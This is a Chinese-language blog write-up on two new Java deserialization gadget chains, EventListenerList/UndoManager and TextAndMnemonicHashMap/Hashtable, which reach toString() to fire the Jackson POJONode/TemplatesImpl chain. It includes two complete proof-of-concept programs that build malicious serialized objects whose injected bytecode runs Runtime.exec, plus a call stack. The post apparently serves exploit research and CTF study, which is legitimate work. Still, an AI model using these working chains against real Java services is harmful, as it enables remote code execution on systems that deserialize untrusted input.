toString新链

之前在学习jackson反序列化时通用链是利用的toString方法去触发的而平常通用的就是BadAttributeValueExpException作为toString的入口。但是之前也看到过其他的绕过方法但是没有记录今天来记录两条新的分别是EventListenerListTextAndMnemonicHashMap

参考:
https://mp.weixin.qq.com/s/cqntHdPy0b-W0ozNilVMsQ

EventListenerList链

来分析一波这个是如何触发toString方法的。先来看看其readObject方法

其中的关键点已经用箭头指出来了。这里会有一个强转要求是EventListener接口,然后会调用add方法。这里跟到add方法中看看

这里会和t对象做一个比较如果不是就会抛出异常,其实重点就在这里第一次看别的师傅的博客的时候也没明白过来。就是这里会有一个隐式转换调用toString方法因为用的是字符串拼接。这里找到一个UndoManager这个类它实现了UndoableEditListener接口而该接口继承自EventListener接口,所以符合要求。来看看UndoManager这个类的toString方法

这里limit 还有indexOfNextAdd属性都是int类型没啥用重点在其父类的toString方法中跟进看看

重点是edits这个属性他是Vector类型的而这里也用了字符串拼接,所以还是会隐式调用toString方法。所以看看其toString方法

继续看其父类的toString方法

可以看到这里调用了StringBuilder类的append方法,跟进

跟进valueOf

obj可控且调用toString方法,所以就可以拼接下后面的jackson了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package org.example;  
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Vector;
public class test {
static {
try {
// javassist 修改 BaseJsonNode ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
writeReplace.setBody("return $0;");
ctClass.writeFile();
ctClass.toClass();
} catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
ClassPool pool = new ClassPool();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] codes = cc.toBytecode();

setFieldValue(templatesimpl,"_name","aaa");
setFieldValue(templatesimpl,"_bytecodes",new byte[][] {codes});
setFieldValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

//使用 Spring AOP 中的 JdkDynamicAopProxy,确保只触发 getOutputProperties AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesimpl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);

POJONode pojoNode = new POJONode(proxy);

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(pojoNode);
setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(eventListenerList);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())).length());

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
valueOf:2994, String (java.lang) [3]
append:131, StringBuilder (java.lang)
toString:462, AbstractCollection (java.util)
toString:1000, Vector (java.util)
valueOf:2994, String (java.lang) [2]
append:131, StringBuilder (java.lang)
toString:258, CompoundEdit (javax.swing.undo)
toString:621, UndoManager (javax.swing.undo)
valueOf:2994, String (java.lang) [1]
append:131, StringBuilder (java.lang)
add:187, EventListenerList (javax.swing.event)
readObject:277, EventListenerList (javax.swing.event)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:80, test (org.example)

TextAndMnemonicHashMap链

在UIDefaults的子类TextAndMnemonicHashMap类中,存在get方法能够接收一个key参数,当在HashMap中通过get方法取这个key最终结果为空时,就会触发key.toString()从而触发toString()方法。

在AbstractMap#equals方法中,在遍历键值对的时候,当键值对遍历时,其中的value为空,就会触发m.get()方法。

然后找一个readobject方法中调用了equals方法的类,熟知的有hashtable的reconstitutionPut方法还有hashmap的putval方法,先来看hashtable

HashTable

看到会掉用reconstitutionPut方法,而该方法中调用了equals方法所以后面在拼接jackson就可以闭环。

这里解释下为什么javax.swing.UIDefaults$TextAndMnemonicHashMap”的键能够触发AbstractMap的equals方法,因为TextAndMnemonicHashMap继承于HashMap,HashMap继承于AbstractMap并且HashMap没有实现equals方法,最终就是找到AbstractMap中的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package org.example;  

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class test2 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
ClassPool.getDefault().insertClassPath(new LoaderClassPath(ser.class.getClassLoader()));
CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
// 获取原方法
CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");
// 修改方法名
originalMethod.setName("Replace");
// 加载修改后的类
ctClass.toClass();
CtClass clazz = pool.makeClass("gaoren");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytess = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytess);
setValue(templates, "_name", "a");
setValue(templates, "_tfactory", new TransformerFactoryImpl());

POJONode node = new POJONode(templates);

Hashtable hashMap = makeHashMapByTextAndMnemonicHashMap(node);

serilize(hashMap);
deserilize("111.bin");

}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Hashtable makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{
Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
tHashMap1.put(toStringClass, "123");
tHashMap2.put(toStringClass, "12");
Hashtable hashtable = new Hashtable();
hashtable.put(tHashMap1,1);
hashtable.put(tHashMap2,1);

tHashMap1.put(toStringClass, null);
tHashMap2.put(toStringClass, null);
setFieldValue(tHashMap1, "loadFactor", 0.75f);
setFieldValue(tHashMap2, "loadFactor", 0.75f);
return hashtable;
}
public static Object getObjectByUnsafe(Class clazz) throws Exception{
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
return unsafe.allocateInstance(clazz);
}
public static void setFieldValue(Object obj, String key, Object val) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while (true){
try {
field = clazz.getDeclaredField(key);
break;
} catch (NoSuchFieldException e){
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
field.set(obj, val);
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}

这里还要解释下为什么有这个tHashMap1.put(toStringClass, null); 原因在于要求获取key的value值要为null。

然后为什么要实例化两个TextAndMnemonicHashMap对象是因为在调用reconstitutionPut方法时要调用equals方法进行比较。个人理解以及问的gpt具体没细看。主打一个知道就行。

1
loadFactor找不到或者没有定义loadFactor的问题,于是就去找了找这个参数的实际作用到底是什么,实际作用如下: loadFactor(负载因子)定义了 HashMap 在自动扩容之前可以达到的填充度。它是一个介于 0 和 1 之间的浮点数,表示当 HashMap 中的元素个数(容量)达到初始容量(桶数量)乘以 loadFactor 时,HashMap 将进行扩容。 那么为什么没有loadFactor参数就不能进行反序列化呢? 原因是因为当反序列化要恢复序列化的内容的时候,需要loadFactor才能够知晓扩容的情况,准确恢复反序列化之前的状态。

解释参考:
https://www.aiwin.fun/index.php/archives/4420/#cl-2

hashmap

直接参考:
https://www.aiwin.fun/index.php/archives/4420/#cl-3

参考:
https://xz.aliyun.com/news/15977
https://www.cnblogs.com/gaorenyusi/p/18411269
https://pankas.top/2024/03/19/dubhectf%E5%9D%90%E7%89%A2%E8%AE%B0%E5%BD%95/#EventListenerList%E8%A7%A6%E5%8F%91toString
http://www.bmth666.cn/2024/03/31/%E7%AC%AC%E4%BA%8C%E5%B1%8A-AliyunCTF-chain17%E5%A4%8D%E7%8E%B0/index.html
https://www.aiwin.fun/index.php/archives/4420/